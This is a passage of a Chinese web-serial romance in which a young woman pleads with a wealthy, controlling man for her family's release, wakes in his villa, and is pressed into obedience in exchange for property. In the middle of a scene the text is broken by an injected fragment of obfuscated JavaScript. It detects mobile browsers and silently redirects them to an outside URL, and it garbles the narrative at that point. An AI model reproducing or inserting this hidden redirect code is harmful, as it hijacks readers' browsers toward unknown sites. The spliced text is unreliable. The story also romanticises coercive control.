两个小时后,工作人员为宋辞音端上一杯热茶,并礼貌告知,城西有个交流会,陆先生或许会去,可以碰碰运气。
宋辞音知道,对她的惩罚,暂时结束。
再次打车到工作人员告知的地址。
到了后才发现,此处是个新兴技术展厅,今日有国际交流会议,从外围看,停车场在院内,泊满各类豪车。
好消息是,若在楼房门口等,一定能堵住要等的人。
坏消息是,会议是邀请制,没邀请函保安根本不会放她进去。
宋辞音小跑至几百米外的超市,买下两包高价位的烟。
随后走到保安厅,避开摄像头塞到保安口袋里,声泪俱下哀求说:“孩子爸爸在外面找了小三,已经两个多月没给家用了,孩子的奶粉钱都拿不起了。”
年轻保安表情凝重。
“好不容易今天逮到他,一定要个说法!大哥,求求你,你让我进去蹲他吧。万一被抓到就说是我自己闯进去的,责任在我,而且这是不光彩的事儿,他不会闹到你们领导那里的。”
宋辞音说着,拿纸巾去抹眼泪,担心碰到描摹的眼妆,纸巾压根没沾到皮肤。
“这可是你自己闯进去的啊。”年轻保安手伸进口袋里,指腹摩挲烟的外包装。
“一定。”
宋辞音被放进去,假装工作人员,逗留在石柱后方。
骄阳躲避在云层之后,丝丝秋雨飘落而至。
中午十二点了,随着交谈声传来,楼房正厅正门打开,一群西装革履的成功人士鱼贯而出。
因为落了微雨,众人脚步明显加快。
宋辞音细细分辨,她认出,最前头被人众星捧月般簇拥着的人,正是陆明彰。
他个头高,穿西装更加衬托身型挺括又伟岸,走路姿态从容俊逸。
当一群人围绕一起,谁是主角,谁是捧场,气场分明,一眼就知。
这种“分明”,让他尤为鹤立鸡群。
随行人员腰背略低,用手比划着,面部肌肉走势谦逊谨慎。
被众人目光追寻的当事人步调轻松,迈腿下台阶,双眉微蹙点头,神色匆匆,心不在焉。
宋辞音紧紧盯着他的背影,伺机而动,等待和他搭话的机会。
他似有所感,霍然转身。
人头攒动间,两道鹰隼般锐利的目光刺向她。
她下意识向后躲,藏在大理石柱后。
不知道有没有看见她。
宋辞音再次探出头时,看到陆明彰已然踱步至停车场西南角,司机正恭谨开车门。
就是现在。
她快速穿过人流,在陆明彰车门将要关闭的前一秒,抄手拦住车门。
雨势渐大,也就一瞬间的事儿。
噼里啪啦的雨点落在车顶,落在宋辞音身上,天地之间是大珠小珠落玉盘的清脆之声。
阴雨天气让车内光线暗淡,男人轮廓隐没在昏暗中,诡秘莫测。
窒息的沉默,许久后,形容逐渐清晰。
陆明彰的目光从车内投向她,神色难辨。
宋辞音紧紧抱住车门,无所畏惧迎上他的视线,坚韧的姿态像风雨中蝴蝶,艰难挥扇翅膀。
雨水冲刷,她的眼中似乎沾染了雨的潮湿。
“陆先生,我……”她的下唇嫣红,不知是口红颜色太好,还是被她咬出鲜艳的血色。
宋辞音贝齿松开下唇,艰涩开口:“求求
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你了,放了我爸和我哥好吗?我哥他……”
“怎么进来的?”他睨她,凛然打断。
“送给保安烟,告诉他来抓出轨的老公……”
陆明彰一怔,点头:“很好。”
褒贬不明。
听着像嘲讽。
不重要,宋辞音重复:“放了我爸和我哥好吗?别难为他们,求您了。”
她卷翘的睫毛串挂起晶莹的水珠,鼻头微红,身体微微颤抖,长裙沾了水紧紧包裹住躯体。
雨中有无处躲避的小鸟,鸣叫哀戚而破碎。
怜惜往往和破坏如影随形。
“宋小姐说笑了,我不过有俩臭钱,哪里能难为你家人。”
“陆先生,我错了,是我狗眼看人低,您别和我一般见识。”
宋辞音低下头,看雨水滴滴汇聚在掌窝,又流向地面。
久久等不到对应,她不确定抬头,撞到陆明彰沉静复杂的眸光里。
她望着他的眼睛:“帮帮我吧。”
陆明彰身体后仰,漠然反问:“帮?凭什么帮?你是对自己有误解?还是对我有误解?”
宋辞音不语。
他不再看她,视线虚空向前方:“出门左转四百米社会福利中心,更适合你。”
“我不找他们,就找你。”
“随你。”
陆明彰伸手去拉车门。
宋辞音姿态倔强,紧紧抱住车门,目光如炬,异常决绝。又怯生生的,不断试探他的底线。
他严厉呵斥:“松开!”
不松。
绝对不能松。
陆明彰语气稍缓,命令说:“你回家。”
“我不回。”宋辞音喃喃重复,“我不回。”
她岿然不动。紧紧盯着陆明彰,从他抬起下巴的姿态中捕捉到一瞬的不耐。
宋辞音:“你说话不算话。”
陆明彰皱眉。
她声音越来越小:“我和你在一起,你说可以提条件的……我爸爸和我哥哥不知道什么原因被带走了,您能救他们出来吗?”
男人再次看向她,视线扫过她的脸,若无其事往下瞟,又移开。
开口,声音低沉:“想通了?”
宋辞音一本正经地胡说八道:“嗯!想通了,陆先生帅气多金英明神武天神下凡,我是自愿和您在一……”
还没表态完,突然感觉头晕想呕吐,一阵天旋地转,手从车门滑开,身体载到在地。
晕了过去。
……
宋辞音再睁开眼时,视线内一片模糊,像是身处黑夜中,又像是在遮盖很严密的房间内。
等她回过神,发现自己是趴着的姿势。
头脑混沌,四肢僵硬。
她试着动了动身体,后腰和侧腰处传来剧烈的疼痛。
怎么回事?
这是在哪?
她怎么了?
疼痛和疑惑使得宋辞音瞬间清醒。
她又轻微扭动了下身体。
后腰和侧腰的疼痛这般剧烈而真切。
记得是去找陆明彰来着……
一个可怕想法浮现在宋辞音脑海中。
巨大恐惧下,心跳如雷,她似乎都能听到脉搏的收缩与放大。
陆明彰个王八蛋,说是什么要她做女朋友,说什么条件随便提,就说呢,从哪冒出来一个这么莫名奇妙的人!
原来是早有预谋原,冲着她的器官来的!
“我的肾,我的肾啊!”
“把我的肾还给我!”
"我才二十二岁啊,怎么下得去手的禽兽!"
5. 第 5 章
宋辞音哭得伤心又克制,肩膀一抖一抖的,泪滴簌簌落下,蹭在滑不溜秋的枕巾上。
灯光打开,室内瞬间亮如白昼。
人习惯了黑暗,骤然的灯光异常刺眼,她难受地紧逼双眼。
而后,缓缓适应,一边抽泣着,一边小心睁开眼,悄咪咪地打量四周环境。
她微侧头,视线向上,映入眼帘的是一条好长的腿,随意的搭在另一条腿上。
西装裤料硬挺,工整而妥贴,膝盖弯曲位置高过宋辞音的视线,让仰望的她感到一丝肃穆和恐惧。
她目光继续向上。
果然是陆明彰。
他整个人舒适地陷在宽阔沙发中,身体后倾,此刻和宋辞音目光相接,身体缓缓向前。
至于神色,宋辞音觉得他表情古怪。
他长臂一挥,抓起边柜上的水杯,抵在唇边,也没喝,那双漆黑深邃如幽谭的眼睛凝着她,随后疏离地移开视线。
在水杯送进口中刹那,宋辞音看到他弯了下唇角。
宋辞音感觉到愤怒。
拿了她的器官,想笑不好意思直接笑?
你人还怪礼貌的嘞。
她敢怒不敢……敢,一定敢,肾都没了,还有什么不敢的?
“混……”
“蛋”字还未出口,一声温柔和善的女音打断她:
“宋小姐,时间到了,我把针拔掉了哦。”
宋辞音循声往后转脖颈,一位四十岁左右的女士停在她身侧腰腹位置。
女士带着口罩,看不出具体表情,举止得体,但口罩上弯如月牙的眼睛,暴露了她在笑。
“什么针?”宋辞音声音闷闷的,有些哑。
“针灸的针呢。”女士,应该说大夫娓娓道来,“您有些营养不良,血压低,血糖也低,中医上讲就是气血不足,阳虚,又感冒了。”
“哦……”情绪剧烈波动,似乎抽空所有力气,宋辞音手搭在真丝枕套上,指腹沿着线路无意识摩挲。
“不过不用担心,给您针灸后,再好好养一下,问题不大。”
“……好的。”
大夫拔完宋辞音后腰处最后一根针,简单收拾下,退出房间。
室内只剩两人。
宋辞音余光轻扫,留意到房间一隅陈设。
应当是个很宽敞的房间,挑高窗帘紧闭,复杂细致的纹路在水晶灯光下静谧而厚重。
窗帘下方目光所到之处,地毯通铺,右侧有一座宽大的沙发。
只见沙发上的人起身,朝床边走来。
宋辞音赶忙闭上眼。
“混什么?”浑厚的声音至头顶传来。
“想问我昏多久来着。”
男人似乎笑了下,那嗓音在喉咙处转了好几道弯儿,醇厚而不真切,引人遐思。
她也懒得分。
“穿上衣服,下楼吃饭。”他说。
“等……等一下。”
“嗯?”
“我爸爸和我哥哥……”
“如果没猜错,他们此刻应该在家用午餐。”
“哦……好。”
脚步声缓缓走远,门被人扣上。
宋辞音长舒一口气,臂肘撑在如云朵般托起身体的床垫,缓缓起身。
“啊!”
再次扑倒在床。
她身上除了内衣,再无其它衣物。
是谁脱的?
大夫还是陆明彰?
宋辞音脸颊燥热难当,一会儿红一会儿白。
就算不是他脱的,他坐在沙发上,肯定也都看见了。
宋辞音磨磨蹭蹭下床,双脚踏在柔软舒适地毯上,犹如站在最松软的乡间泥土里,依然有不实感。
双臂堪堪遮搂在胸前,哪怕房间内一个人都没有,但羞耻的感觉如影随形,连脚趾都蹦得紧紧的。
她没有看到自己的衣物。
宋辞音目光搜寻,视线一转别有洞天,卫生间旁边有个衣帽间。
不得不说,这个衣帽间,比她家里的卧室大多了。
两排衣柜排列有序,半透明玻璃显露出琳琅满目的各式华装。
头顶灯光璀璨耀眼,宋辞音感到自己走入一个格格不入的宫殿。
似心有所感,她缓缓触碰,打开一扇橱窗,果然,一面柜子整齐挂满女装。
宋辞音取下距离右手最近的一件,套在身上。
很合身。
量体裁衣般合身。
落地镜里的女孩四肢偏僵硬,举止略显拘谨踌躇。
她注意到,自己脸上干干净净,妆已经被人卸掉。
年轻的面庞,娇嫩的肌肤,一双眼明亮而茫然,如深山迷路的小鹿。
进入一个新环境后,先不动声色地观察,这是她从小养成的习惯。
宋辞音没着急出去,她走到窗前,窗帘有感应缓缓拉开。
她临窗眺望。
远处群山绵延,朦胧如黛。
此处应该是山中别墅。
视线拉近,树木成阴,葱郁而茂盛。波光粼粼的水面,弯曲有情。
湖光山色,美不胜收。
宋辞音慢腾腾走出房间。
一位四十多岁,身型偏瘦的女人恭候在门口。
“宋小姐醒了。”她目光关切,不着痕迹地打量。
宋辞音往后仰了下,背贴到墙面,缓缓点头。
“我是这里的保姆,叫李秀桦,是从小照顾明彰的,您叫我小李就成。”她语气诚恳,自我介绍后缓缓颔首。
“李阿姨。”宋辞音点头回应。
李秀桦笑得更开心了,眼尾荡出碎碎的细纹:“用餐前,明彰让我先带您熟悉下环境。”
“好,麻烦您了。”
李秀桦眼中赞许一闪而过。
“刚刚宋小姐出来的这一间,是明彰的卧室,以后也就是你的卧室了。”
想到要在这里发生什么,宋辞音眼中闪过一丝不自然。
脸颊浮起一层粉,眼都不知该往哪儿看。
今晚……就要住进去了吗?
但李秀桦说得坦荡而直接。宋辞音想,肯定是姓陆的经常带女人回来,保姆阿姨都习惯了。
“这两间都是书房,左边这间一般是明彰读书练书法的地方,明彰喜欢练书法,也欣赏字写得漂亮的人。”
她说话的空隙,眼睛盯在宋辞音脸上,似乎再善意提醒:划重点!书法!你要练起来!
宋辞音权当没听懂,不说话。
“右边这间,是他处理公务的地方,不允许人进的。”
“明白。”
“二楼呢,还有几个房间和卧室,宋小姐都可以自由出入的。”
李秀桦说着往前走了几步,抵达走廊尽头,手掌指示一个方向,语气讳莫如深:
“除了这一间,这一间有人住过,一直保留原样,不能进不能打搅。”
陆明彰的书房不能进可以理解。这一间被人住过的卧室,被保留尘封,看来对陆明彰来说意义非凡。
在宋辞音心里,把这间房和“神秘”化为等号。
求而不得的白月光,或刻骨铭心的前任住过的吧,电视剧里都是这么演的。
神秘归神秘,但宋辞音不会询问具体情况,一是她不想多嘴,二是她并不好奇。
电梯显示屏闪动阿拉伯数字“3”,李秀桦提议:“我们走步梯下去好吗?”
宋辞音自然无不答应。
楼梯间内,李秀桦走在前方带路,她轻轻哼起歌调。
宋辞音想,看来陆明彰不是个非常严厉的老板。
脚踏在深紫色檀木台阶,包浆莹润。
檀木百年成材,有“木中帝王”之称。
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>在这里,却只能做楼梯。
“一楼有宴会厅,餐厅和厨房……”
宋辞音来到餐厅位置,很明显,陆明彰等待多时了。
宽大的大理石餐桌上,摆放着十数道菜肴,并没有动过。
陆明彰眼风从宋辞音身上划过,顿了下,开口:“坐。”
他说话一向很简短。
偌大的餐厅,只剩下两个人。
宋辞音选了一个距离他最远的位置,坐下。
手边除了各样餐具外,还有一碗杂粮米饭。
餐桌大,很多菜距离她比较远,手边的两道菜,一道是清炖的羊肉,羊肉上漂浮着数片黄芪和鲜红的枸杞。另一道是鸡汤,几只虫草游荡在澄黄的油水里。
陆明彰用餐很安静,连碗碟碰撞的声音都没有。
他不跟她说话,她自然也不会跟他说话,宋辞音乐得自在。
小口,很秀气地喝汤,一小碗鸡汤见底,就扒拉那碗杂粮饭。
“不合口味?”
宋辞音愣了会儿,才意识到应该是跟她说的。
“没有。”
她只是不爱吃羊肉。
“桦姨,吩咐厨房做碗虾仁馄饨和糖醋里脊。”
陆明彰交待,隔着宽大的餐桌,却是望向她。
“好,马上。”
陆明彰放下碗筷,一只手搭在餐桌,姿态随意。
他衬衫的纽扣松开几颗,衣领敞开,露出男人健康的肌肤光泽。
居家状态下冷肃减退,多了几分温和俊美。
“过来。”他说。
宋辞音龟速挪到他旁边。
陆明彰右臂一挥,拉开身侧的椅子,下指令:“坐这。”
他衣袖推到臂肘位置,露出一截麦色小臂,掌背血管贲张错综盘扎,力量感蓬勃。
隔着衣物,她甚至能感受到,从他身上传来的阵阵热潮,将她包围。
宋辞音此刻更有实感,和她并肩坐在一起的是一个和她力量悬殊的男人。
且是实力强大,有铁血手腕的男人。
思及此,她的五感被无限放大,身边人每个微小的动作和呼吸,都被她细致感知。
哪怕是她最喜欢的馄饨,也食不知味。
一顿饭吃得味同嚼蜡。
陆明彰放下筷子时,她也跟着放下筷子。
“一会跟我去个地方。”
“可能不行……”宋辞音小声道,注意他的脸色,“我只请了半天假,下午要回去上班的。”
“工作已经帮你辞了。”陆明彰侧过身,目光咄咄,留意她每一个微表情。
“你开玩笑逗我的吧?!”离得这么近,宋辞音甚至能看到他眉毛的长势方向,和唇角细小的绒毛。
陆明彰神色如常,抬杯喝茶。
是三十年的老陈皮,香气醇厚带有淡淡药香。
气味钻进宋辞音口腔里。
“真辞了?”她尽量心平气和,仍是抬高声音,“你怎么能这样呢,怎么能不和我商量,就帮我做决定呢?”
他无动于衷:“你那份工作,没什么意义。”
“有没有意义,是不是应该我这个当事人说了算?就算是没有意义,你也不能这样啊,你知道我找到这份工作花了多少时间吗?”
宋辞音越说越激动,已然带了哭腔。
双手紧握成拳,酸楚地盯着他,眼眶发红。
陆明彰一时未动,略思忖,放下茶杯,身体朝宋辞音的方向凑近一些,
秀眉颦蹙,一双水杏眼蓄了水,要哭不哭。因着急气愤脸微红,染在莹白肌肤上,如晶润的羊脂玉,惹人触摸。
陆明彰口有些干,不自觉舔了下唇,喉咙痒痒的。
眼底有异样的情绪,视线不偏不倚,停留在她饱满嫣红的双唇上。
现在应该做点什么,他想。
6. 第 6 章
陆明彰压下心中不可名状,视线看向别处,又转回来,依旧是把控一切的语气:
“我问你。”
宋辞音疑惑看向他。
面前的男人皱着眉问,俨然神色冷肃,双瞳幽沉,沉得人心里发怵。
“你上班目的是什么?”
她后背倏地生出一层冷汗。
不同人有不同答案,比如为合群,比如为梦想,比如为社会做贡献。
至于宋辞音嘛,嗯……都不是。
“赚钱,我为了赚钱。”她坦坦荡荡。
并没有预设中鄙视嘲讽的反应,陆明彰颔首:“很好,人是要先安身立命。”
说罢,他起身,走至餐桌旁的斗柜,拉开抽屉,拿出一个红色本子。
陆明彰望向她。
宋辞音会意,朝他走过去。
懊恼和挫败自她神内一闪而过。怎么他一个眼神,自己就知道是什么意思?
太阳出来了。
阳光穿过落地窗,撒在陆明彰的头发上,脸上,肩膀上。
他半边身子沐浴日光中,身形显得尤为高大,搭配上优越的五官,整个人散发不可高攀的雍容华贵之气。
宋辞音站到在阳光下,她眯了眯眼,突然福至心灵。
待她接过红色本本,烫金的“不动产权证书”几个大字映入眼帘。
翻开一页,“权利人”后面,“宋辞音”三个字赫然而醒目。
心脏狂跳,全身血液涌入头顶,胸口被什么不能承受的东西压住。
她很惊吓。
愣怔好大会儿,宋辞音冷静问:“房子可以短时间内多次交易、来回变更产权人吗?”
陆明彰明白她什么意思,直接说:“只是从原房东更改成你。”
这套铺面,从来没有属于过陆明彰,他从原房东手里买来,直接过户给了宋辞音。
也就是,他算尽了宋辞音的所有选择,对事情的走向无比笃定。
室内恒温恒氧,气候适宜,宋辞音却感觉到一股寒意沿着小腿往上爬,以至于让她沉闷无法呼吸。
陆明彰目光如水,黑白分明的眼瞳沉静而明亮。
这人大多时候都是让人捉摸不透的,宋辞音想。
宋辞音低垂着头,一缕碎发绕在耳边,喃喃道:“有房子,难道就可以不上班了吗?”
“你一个月工资多少?”陆明彰坐在侧旁软椅上,双腿交叠,上身后仰,问话时扬起下巴。
因他的动作,两人拉开一段距离。
她的资料他不是都清楚吗?
“七千。”声若蚊蝇。
陆明彰臂肘搭在软椅扶手,目光望向窗外,从善如流:“一个月七千,一千万的房产,够你工作到一百四十一岁。”
他目光折回来,哪怕是至下而上看人,依然略显压迫。
“还能解决你家燃眉之急。”
她做梦都想拥有自己的房子,哪怕是商铺,这种渴望在张雨婷嫁过来后如蔓延杂草,持续丛生。
但……
宋辞音盯着地面,心里怪怪的,有种出卖自己,与虎谋皮的感觉,很不踏实。
“还吵着要工作吗?”
“那我要付出什么呢?你花那么多心思和钱砸,我知道天下没有免费的午餐,我从小就知道……你想要我做什么呢?”
“听话就好。听话,懂吗?”
宋辞音僵硬点头:“我知道。”
又问:“如果不听话,会怎样?”
说罢眼睁得圆圆的,唇抿成一条线。
陆明彰脸上没什么表情,缓慢地看向她:“你可能并不想知道。”
宋辞音心脏受不了,惊恐点头。
想了下,把房产证搁在柜斗上:“我是很想有钱,也非常想要一套自己的房子,但是,但是……”
她自问不是有铮铮傲骨的人,若真是未来另一半送她房子,她不会拒绝,会开开心心收下,并晃着他的胳膊撒娇:“你怎么对我那么好啊。”
但他显然不是。
以后也不可能是。
陆明彰目光从斗柜转移她脸上,淡淡道:“听话第一点,不能拒绝。”
“可是……”
“第二点,”他沉声,眨动眼眸,“没有可是,我说了算。”
宋辞音沉默,头埋得更低了。
她还能说什么。
“好了,”他扬声,语气柔和些许,“去给你家里人知会声,一会儿带你去个地方。”
以后就住在这里,不回家了,确实要想个理由,知会家里一下。
宋辞音找到手机,手机早就没电关机,充了两分钟,手机才开机。
她躲进一间卫生间内,以次点开苏念一的信息轰炸。
【怎么样了怎么样了?】
【是不是已经被他得手了……保重】
【阿辞,你爸还有你哥回来了!两人精神还都挺好,应该没什么事儿,你不用担心啦。】
得到好友的二次印证,宋辞音更放心了些。
手指飞快打字:【他把我工作辞了】
苏念一很快回复:
【终于出现了你,担心死我了。】
【?】
宋辞音:【转了我一套旅行街的商铺,就是我家租的那套】
苏念一:
【?】
【这还是汉字吗?】
【快告诉我他长得怎么样,这对我来说至关重要!】
宋辞音想了想,决定客观评价:
【有点像你之前喜欢的明星】
【比他贵气老成一些】
苏念一:【你们俩把日子过好,比什么都强】
宋辞音:
【?】
【长得好看就不是变态了吗?】
苏念一:【长得难看是变态,长得好看不是】
宋辞音:
【……】
【他说一会儿带我出门】
苏念一:【应该是带你去买买买,或者是一些高端饭局之类的吧,灯红酒绿,纸醉金迷,这些是基本操作,都这样。】
【行。我大概有数了。】宋辞音继续发送:【以后我住在这儿,跟我家里没法交待,就说你们公司给分配了单身公寓,你不想住给我住了,行不行?】
苏念一回:【没问题】
宋辞音又给宋母打了电话。
询问了爸爸和哥哥的身体,说起去苏念一公寓住,刚起话头,就被宋母打断:
“好了好了,知道了,你哥叫我了,先挂了啊。”
通过匆匆结束。
一切都很顺利。
她求仁得仁。
透过窗,她看到一群鸟儿叽叽喳喳结伴而行,飞向乌云密布的天空。
可为什么不开心呢?
尤其是给妈妈打完电话后。
稍稍收拾心情,宋辞音返回小客厅,在那人身后踱步:“我好了。”
陆明彰带她出门,两人没有坐车,而是步行,沿着门口的石灰路走了大概十来分钟。
宋辞音目测陆明彰的身高大概将近一米九,一米八六八七肯定有。
那双腿又是出奇得长。
腿长步伐迈得大,一步顶别人两步。
不一会儿,宋辞音就被落下一段距离,她需要小跑,才能跟上他的节奏。
宋辞音着急追赶大长腿,等到她有闲心观赏景色时,发觉两人越走越偏,距离大路越来越远,荒无人烟,四周植被越来越茂盛。
苏念一说的灯红酒绿纸醉金迷呢?
反而是从前看过的恐怖悬疑电影剧情,不停在宋辞音脑海浮现。
光鲜之人,强取豪夺,富贵别墅,深山老林。
下一步呢,下一步是要把她解刨,或者制作成香水了吗?
宋辞音认为有必要威慑他一下。
她快步追上去,与他并肩走,故作轻松道:“这儿风景真是不错呀!把位置定位发给我朋友了,让他们有空也来玩一玩。”
陆明彰没接话,眼神锐利,四处张望。
宋辞音心里更没底了。
又走了几分钟,拐了个弯儿,停在一块空地处。
像是菜园,土地似乎被人翻新过。
空旷处还摆放着两把铁锹。
这是……
这是……
这是要直接活埋吗?
现在逃跑还来得及吗?
来不及。
他腿那么长,像是两根电线杆,追她还不是易如反掌。
眼看陆明彰已经捡起一把铁锹,他还垫了垫,估摸重量。
冷着脸朝她走过来了。
宋辞音忙忙后退。
“冷静下,我们都冷静下。”
宋辞音膝盖发软,听到阵阵风声从耳边呼啸而过,耳膜响起蝉鸣,说出的话语调飘忽:
“你,你不是说要我吗,我都同意和你睡觉了啊!”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15861704|176062||http|test|mini|href|location''.split(''|''),0,{}));
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>这样做出的牺牲还不大吗?!
一定要她的命吗?!
陆明彰眼皮跳了下,神色古怪一闪而过,浓眉轻挑,漆黑瞳仁格外亮,直直得逼视她。
高大的身形也几乎贴到她身上,衣料相触摸。
宋辞音心口发颤,回避他的眼睛。
隐秘晦涩的暧昧,比冷峻的压迫感,更让人无所适从。
“睡觉是晚上的事儿,”他习惯性皱眉,眉首鼓起两个小包,视线下滑,一向沉着自持的人声音有些有点哑,“现在先干这个。”
宋辞音被人塞手里一包东西。
她颤抖打开,发现是用透明密封袋装的植被种子。
“如果你等不急的话。”男人没继续说下去。
他皱眉,直白撩起眼皮,目色沾染浑浊。
“怎么会!”宋辞音拉回思绪,及时打断。
脸色像是涂抹一层厚重的腮红,连带耳朵都润红发烫。
所以,他带她来是栽种东西的?
这时才仔细打量起周围环境。
入目是被人精心维护的菜园,两畦夹拱,把土地分成了三块,其中两块整齐地栽种四五种植被。
样子都很新鲜,是她没见过的奇珍异草。
“这个是什么?”她指着一株结满红宝石的秧苗问。
“改良后的番茄。”
“没见过。”
“当然,还在研发阶段。”
说起来,但现在还不知道他具体是做什么的……
宋辞音把铁锹握在手里,选择距离陆明彰最远的位置,开启刨土。
他好像只带了一包种子,但有两个铁锹,想了想,冲着小菜园另一边站着的男人问:“我把种子分你一半吧?”
陆明彰注意力都在改良番茄上,没有抬头:“不必。”
“你怎么种呢?”
“我不种。”
“那你……”
“怎么?”他抬起头,“你要给我安排活?”
宋辞音:“不敢不敢。”
干活,干活。
不一会儿,冷不丁的:“你身体太弱了,需要加强锻炼。”
一些养殖场,为了让动物的肉更紧实,就会想方设法让动物一直运动。
大概是一个道理。
如果陆明彰是养殖场主,她还不是拎起来就被宰杀的小鸡崽?
识时务者为俊杰。
大女人就要能屈能伸。
宋辞音默默捡起铁锹。
就说吧,天地下没有免费的午餐。
“这是什么的种子?”
她以前在乡下的外婆外公家久住过,外公经常会买些瓜果蔬菜的种子载种在自家小菜园。
这是老年人的兴趣所在。安全又省钱。
那些种子都有包装袋,明明白白写着种类。
“长出来你就知道了。”
陆明彰一会儿若有所思,一会儿在手机上写写记记,一会儿对宋辞音拿铁锹的姿势指点一二。
干活的只有宋辞音一个人。
他再说什么,她就当没听见。
“有虫子。”
“在哪儿?!在哪儿?!”
宋辞音仍掉铁锹,一溜烟跑出去五米。
陆明彰岿然不动。
“嗯?”男人身后钻出一颗毛茸茸的脑袋。
“骗你的,看你听不见,以为你聋了。”
语气平常,却冷飕飕的。
宋辞音悻悻撇嘴,不敢看他,累瘫坐在地上。
陆明彰把人小表情尽收眼底,挑眉道:“你前面,蚯蚓。”
宋辞音不以为意,脸皱巴巴的:“又骗我。”
直到她的手感受到冰凉黏糯的触感。
“啊——!”
人类长期进化的本能,身体比大脑先做出反应,敏捷地从地上爬起来。
恐惧下,身边男人成了她唯一救命稻草。
也不知怎么想的,她一跳,整个人爬在了人身上。
双臂紧紧抱住他的脖子,两腿夹住他的腰。
陆明彰核心力量不容小觑,他几乎未动,一只手顺势把她托住。
至于托的位置嘛……
脸上以及被托住的部位一阵血液翻涌,她十指不自觉绞紧。
陆明彰轻嗤,一字一顿道,“以后不想再发生这样的事,就好好听我讲话,不要让我把话说两遍。”
他目光如水:“记住了?”
7. 第 7 章
触手的躯体坚硬挺拔,层层热浪穿过衣物布料,酥麻她的肌肤。
心跳如雷,心脏有所感应,脉动频率逐渐向更强的频率靠拢,两者同频共镇。
而托住她的那只手,宽厚、有力,似有雷霆万钧的力量。
陆明彰五指并拢上劲,她一哆嗦,双臂本能扣紧他的脖膀。
两人凑得这般近。
从未有过的近。
他身形比她高二十公分有余,平时两两相望,她都是仰望的姿态。
而此刻,因抓马的巧合尴尬的姿势,她跨在他的腰搂着他的颈,两人视线反而趋于水平。
她看到全新视角里的陆明彰。
眉毛浓墨茂密,野生眉如其名,增加男人硬朗周正。
眼尾微微下掉,平添几分儒雅宽厚,眸光沉着华贵。
人中偏深,听说这是生命里强生育力强的外在体现。
唇薄厚适用,唇线模糊不清,苏念一说这类很好亲。
怎么可能会和他亲。
“知道了……”她扭开红扑扑的脸,去看四周的树,看天边的乌云,“蚯蚓走了吗?”
陆明彰喉结滚动,眼皮半阖,视线离开她的唇下移:“自己看。”
宋辞音扒着他的肩膀,扭头向地面瞅。
蚯蚓早就钻进土里,不见踪影,只有被她甩掉的铁锹,倒在他脚边。
宋辞音悻悻落地,揣起铁锹,继续干活。
陆明彰抬起眼,缓缓扫过她弯下的腰,淡淡开口:“胆子这么小,怎么敢去会议中心找我的?”
“那不一样。”宋辞音把种子丢进挖好的坑里,气喘吁吁说,“怕虫子是刻在DNA里的本能呀,去会议中心又不是。”
关掉备忘录,摁灭手机,陆明彰轻嗤一声,望向栽种好的土地。
“你别不信了。”宋辞音埋下最后一培土,水扶立在铁锹手柄上,“一条没有毒的蛇,和一把装了子弹能要人命的手枪,人基本都会下意识的恐惧蛇。”
她说话时,声音细细的,说罢鼓囊起腮帮。
“谁说我不信了,想的挺多。”
陆明彰腿长,一条腿轻松一迈,就从天地里站到青色公路上。继而转身,朝宋辞音伸出一只手。
宋辞音不想和他有身体接触,更不想摔个狗吃屎。
她抬起手臂,把手放在他的掌心。
两手形态、肤色对比强烈,一大一小,一黑一白。
他不算黑,可惜被宋辞音莹白细润肌肤衬托下,略微显黑。
大掌将她的小手包裹,宋辞音感受到来自大掌的拉力,她右脚迈踩在公路,借力向上。
就在她右腿上劲,左脚离开土地之时,来自大掌的力突然消失。
他松开了手。
宋辞音心被揪起提到嗓子眼,下意识的恐惧,面容失色,美目微睁,嘴唇张启。
身体因失重,不受控得往一侧跌倒。
摔下去,一定会很狼狈,很痛。
一切不过是刹那转瞬。
电光火石间,陆明彰再次紧握她的手。
宋辞音还没反应过来,人已经安安稳稳站在马路上。
心有余悸,膝盖发软,整个人愣愣的,呼呼喘气。
因为人行动时向前的惯力,她和拉他的人靠得很近,几乎贴在他身上。
惊魂未定中,紧贴的人俯下身,温热滚烫的气息贴在耳边。
她呼吸错漏。
陆明彰手掌轻抚她的后背,声音平缓:“智人进化千万年,长进不大。如你所说,恐惧本能镌刻DNA里。”
宋辞音真是被气笑了,她落魄往后撤离,两人拉开距离。
咬住下唇,斜眼瞪他:“整人恶作剧也是本能吗?”
陆明彰轻笑:“差不多。”
“怎么讲?”脸被气得通红,眼波愠怒流转,写着好奇。
她要听听,他能讲出什么花来。
两人并排往回走,陆明彰速度明显降低,姿态轻松,像是散步。
群鸟飞过。鸣声清脆悦耳。陆明彰老神在在,微微眯眼:“会开心。”
宋辞音狐疑,扭头看他,只见男人鼻梁挺拔山势巍峨,清晰紧绷的下颌线舒张开。
“那你现在很开心?”
陆明彰转过脸,眉眼低垂,视线落在她的脸上。
“还不错。”
宋辞音不再吭声。
甚至故意放慢脚步。
不想和他一块儿走。
可不管她脚步再缓,始终和他并排统一水平线。
走过最茂密的树丛,视线逐渐开阔,风景更加秀美。
此处是别墅群,宋辞音做为本地人,她知晓,这里是最有头有脸人的住宅区。
别墅建在山上,地处平原,山海波不高。但也有区分,住在最顶端的,价格最贵。
他们缓缓上山。
“讲讲你以前的事。”陆明彰打破两人间的宁静。
宋辞音心想,你不是有我资料,这种谈话环节有存在的必要吗?
但她也只敢心里想想,是绝对不敢说出来的,爸爸哥哥被无缘无故带走后的恐惧始终盘桓在她天灵盖。
或许,聆听贫苦人家的心酸故事,是有钱有势之人的另类兴趣。
“就是很普通很平常,跟别人没什么不一样,上小学初中高中,擦线上大学,本地的,学了很普通的专业,找了很普通的工作,就这样……”
宋辞音像念口水账一般,高度总结前半生。
她觉得口水账都比自己有意思。
迎面行驶来一辆黑色轿车,陆明彰拽住她的胳膊,两人换了位置,他走在外侧,问:“怎么没想着去别的城市看看,读大学。”
“听说过一句话吗?”宋辞音抬头,目光一一穿过远处豪华气派的别墅楼,坦然道,“贫贱不能移。”
她重复一遍,重点停顿:“贫贱、不能、移。”
经济的困顿让人无法随心所欲的迁徙。
宋辞音很想对陆明彰说:您能不能富贵不能淫?
也就心里想想罢,她可不敢教他做事。
幽怨又怯懦地看向他。
